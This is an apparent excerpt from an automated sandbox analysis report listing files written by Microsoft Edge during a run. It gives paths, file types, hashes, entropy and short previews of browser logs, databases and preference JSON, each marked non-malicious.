SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.24859954949471
Encrypted:	false
SSDEEP:	6:HUwbv/4q2PCHhJ23oH+TcwtzjqEKj3K/2jMGIFUt8YUwbY3F3JZmw+YUwbC3Dkwh:0vBYebvqBQFUt8nX/+rz56YebvqBvJ
MD5:	A4257D36D6F157E842C659554D3C8878
SHA1:	0A9783A2271DF90D6C1D2ADDAF11CAF25B81796D
SHA-256:	9CF36FFF20C2E8C5FCCDC10762BA9D711D67B37EB9951EAA6BEB23543468D352
SHA-512:	30EBC6CD25A36BDD5B9A265EF9D55E508EF4C60F67A5477A1685C65C17E77DCD41E7BA6323A173BDFCE9327B7C4B952397C25C48E2F34DC48FFD2E26B71B67CF
Malicious:	false
Preview:	2024/11/19-12:00:35.347 1944 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/19-12:00:35.348 1944 Recovering log #3.2024/11/19-12:00:35.351 1944 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.24859954949471
Encrypted:	false
SSDEEP:	6:HUwbv/4q2PCHhJ23oH+TcwtzjqEKj3K/2jMGIFUt8YUwbY3F3JZmw+YUwbC3Dkwh:0vBYebvqBQFUt8nX/+rz56YebvqBvJ
MD5:	A4257D36D6F157E842C659554D3C8878
SHA1:	0A9783A2271DF90D6C1D2ADDAF11CAF25B81796D
SHA-256:	9CF36FFF20C2E8C5FCCDC10762BA9D711D67B37EB9951EAA6BEB23543468D352
SHA-512:	30EBC6CD25A36BDD5B9A265EF9D55E508EF4C60F67A5477A1685C65C17E77DCD41E7BA6323A173BDFCE9327B7C4B952397C25C48E2F34DC48FFD2E26B71B67CF
Malicious:	false
Preview:	2024/11/19-12:00:35.347 1944 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/19-12:00:35.348 1944 Recovering log #3.2024/11/19-12:00:35.351 1944 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3470f761-e48d-4091-a328-1aca5444d7b3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\66175473-fabe-4e97-9d48-4de28bef2c86.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\89a00155-7a66-44e0-ab6c-56fe3a913d62.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2a157.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	419
Entropy (8bit):	5.203870874644385
Encrypted:	false
SSDEEP:	6:HUw601yq2PCHhJ23oH+TcwtzjqEKj0QMxIFUt8YUwv1Zmw+YUwrL1RkwOCHhJ237:C01yvBYebvqBZFUt8o/+UR56YebvqBaJ
MD5:	E47700F4580F533C511225A37D30EBF7
SHA1:	B7D8CE2D071F2ECA5160097F3678B5832DB79F67
SHA-256:	EF8D49F5BBAAF2CFB768098C0F6B9AADE78EA5FE88D22EDC35B345032919E45C
SHA-512:	20DA3EEE41D106CB292279B5B98931243BD2F0BA7957EEBA4C632391D50EAD48549EC99504502215A912CC162EAD54761156398F3AB0FC16E65DBDDBADC87F63
Malicious:	false
Preview:	2024/11/19-12:00:51.909 e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/19-12:00:51.910 e34 Recovering log #3.2024/11/19-12:00:51.914 e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	419
Entropy (8bit):	5.203870874644385
Encrypted:	false
SSDEEP:	6:HUw601yq2PCHhJ23oH+TcwtzjqEKj0QMxIFUt8YUwv1Zmw+YUwrL1RkwOCHhJ237:C01yvBYebvqBZFUt8o/+UR56YebvqBaJ
MD5:	E47700F4580F533C511225A37D30EBF7
SHA1:	B7D8CE2D071F2ECA5160097F3678B5832DB79F67
SHA-256:	EF8D49F5BBAAF2CFB768098C0F6B9AADE78EA5FE88D22EDC35B345032919E45C
SHA-512:	20DA3EEE41D106CB292279B5B98931243BD2F0BA7957EEBA4C632391D50EAD48549EC99504502215A912CC162EAD54761156398F3AB0FC16E65DBDDBADC87F63
Malicious:	false
Preview:	2024/11/19-12:00:51.909 e34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/19-12:00:51.910 e34 Recovering log #3.2024/11/19-12:00:51.914 e34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.2286764535606745
Encrypted:	false
SSDEEP:	6:HUwWn+q2PCHhJ23oH+TcwtpIFUt8YUwWnHZmw+YUwWnW+FzkwOCHhJ23oH+Tcwt7:un+vBYebmFUt8/nH/+/nW+F56YebaUJ
MD5:	F4886D558081F5D1249B12386CB36B36
SHA1:	6FECAD296F48BFC2AA49C2B24EE73301033B22EE
SHA-256:	B3A5B1E4ED6693FFCA2FEEB0918E37B71A49DB04283EC9B1577B702F419FF884
SHA-512:	21DD6B84F18A3319009E9D53B54247D8BFB8B9B50F30B54B9E397561E14E0F4906A51235A482F6E4EB0DD0F08D3B9F46DB6EA03D9AF675B751C2B2DA6A89DD47
Malicious:	false
Preview:	2024/11/19-12:00:34.629 704 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/19-12:00:34.629 704 Recovering log #3.2024/11/19-12:00:34.630 704 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.2286764535606745
Encrypted:	false
SSDEEP:	6:HUwWn+q2PCHhJ23oH+TcwtpIFUt8YUwWnHZmw+YUwWnW+FzkwOCHhJ23oH+Tcwt7:un+vBYebmFUt8/nH/+/nW+F56YebaUJ
MD5:	F4886D558081F5D1249B12386CB36B36
SHA1:	6FECAD296F48BFC2AA49C2B24EE73301033B22EE
SHA-256:	B3A5B1E4ED6693FFCA2FEEB0918E37B71A49DB04283EC9B1577B702F419FF884
SHA-512:	21DD6B84F18A3319009E9D53B54247D8BFB8B9B50F30B54B9E397561E14E0F4906A51235A482F6E4EB0DD0F08D3B9F46DB6EA03D9AF675B751C2B2DA6A89DD47
Malicious:	false
Preview:	2024/11/19-12:00:34.629 704 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/19-12:00:34.629 704 Recovering log #3.2024/11/19-12:00:34.630 704 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2648492077797926
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM1SAELyKOMq+8QTQKC+CVumx:K0q+n0J19ELyKOMq+8Q7K
MD5:	BD3EA4449660DFE0609F11FFAE5BECE7
SHA1:	F76B58E8A8D317A4BDB5B97D25C58F853088AACD
SHA-256:	7196B41CDC8AE2BFA161713B2F9D2DA5EAD548886FDA2920FFF43B544BE70196
SHA-512:	C1A8BDADF0E1DEFCEBCC64C80387CDD1E61321B59878F0B236ADAE314B1210893587D5B45C73EAAE085EA96EBA216D84A2A9769D815F509A83821EFEC1336E3E
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4663849383248685
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0F1g:v7doKsKuKZKlZNmu46yjx0w
MD5:	BA0632B2D324859414FC3BA2D72E1DD9
SHA1:	F6CBC33F970FEF46088CEAC17011F4428B84E67B
SHA-256:	DCDF6D06C915263BA7E8C7D0F53E241CB2EA4466C65E652FCF66C2E407107899
SHA-512:	C53C671BC7BA6D3525FDA8F7192488A6BC61B0FD3A49FEE94A9A799683943E1F7B5B1F6E7096873325D3FCE2BEC6F3B9121C5BC9C1E441AC67CF6441B4A43C98
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b561068c-2ed3-4628-bac3-744fe7e19841.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ba2e046c-22ae-4124-9fb0-dc970f5224b8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561434940637551
Encrypted:	false
SSDEEP:	768:+mw0qf7pLGLPQuWPKMfjZ8F1+UoAYDCx9Tuqh0VfUC9xbog/OVSbB683prwZYBZw:+mw0qZcPQuWPKMfjZu1ja3bBV3aZYB45
MD5:	3E21133E3C1C42E3970C4CD74232F9D9
SHA1:	009709D4F35F4BB66EA8460A1CAC773C5DF72FAC
SHA-256:	95D047C685BD799A7E94B489689D8BD23F0F3799FCFEDE2E09E2EF9EB1AAFA0C
SHA-512:	42EF3C63CC827D1AA5FBC1D4C0FB32F7B85856271B9507FD62F88EA46F5397FBC6DB4D84C3B8371108F3CC2C5BAC84CC524CC873C7E72A033E7F774AA339BE0F
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376509234535593","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376509234535593","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\bc71719b-bad9-457a-8bd7-d4bbaca029b6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\efbd2729-91fd-4ada-8b77-94fd8cb42e4a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12454
Entropy (8bit):	5.210048108358391
Encrypted:	false
SSDEEP:	192:stTJ99QTryDigabatSuypbsl/Ia34Hk+idaA8YbV+FgYQA4+q7NIaPeYJ:stTPGKSu4bsl/XyNSbGnQxx7NIQ
MD5:	6CC8E0327A62694F9651F94ABC63234D
SHA1:	4876AB34D7C8406FFFB76B1D45A7679A02AEA368
SHA-256:	2E3A1A45F8D34CB4C8CAF3E19184916E458D43CCEC71503FA1EFD3BA4C0F394F
SHA-512:	202AF0A95D73E70D02F5BF365F42BC512012195A6CAAC885A3CFDD67AA60A578D9E2AFA04DDC14725FA8B368536CFEF70610AF60571EDBE902B6430B6DEACEA9
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376509235067826","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10242267976920523
Encrypted:	false
SSDEEP:	12:+R1aNR1aaspEjVl/PnnnnnnnnnnnvoQ/Eou:+R1mR1UoPnnnnnnnnnnnv1j
MD5:	E104EC571056D384DF30EFE3FB91A6DF
SHA1:	8300DBEDDC3DD5441FA11EB42EC40B89DF561FAF
SHA-256:	0098E800754980D0EEA6CE46372BDBCF55A5AAA181DE38D0F3B8B23EFB0D3137
SHA-512:	F617AA9167848B636EF81A0892CE5B91FB75529242A3EBA4C0F323E86A501A4BA0FCC767913F3708212D5C4CE2E8D3042614B2689B66A5141AFEEDDD55817F2F
Malicious:	false
Preview:	..-.............M...........X%PN.XE6.:..M..&..Q..-.............M...........X%PN.XE6.:..M..&..Q........I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8883639676386722
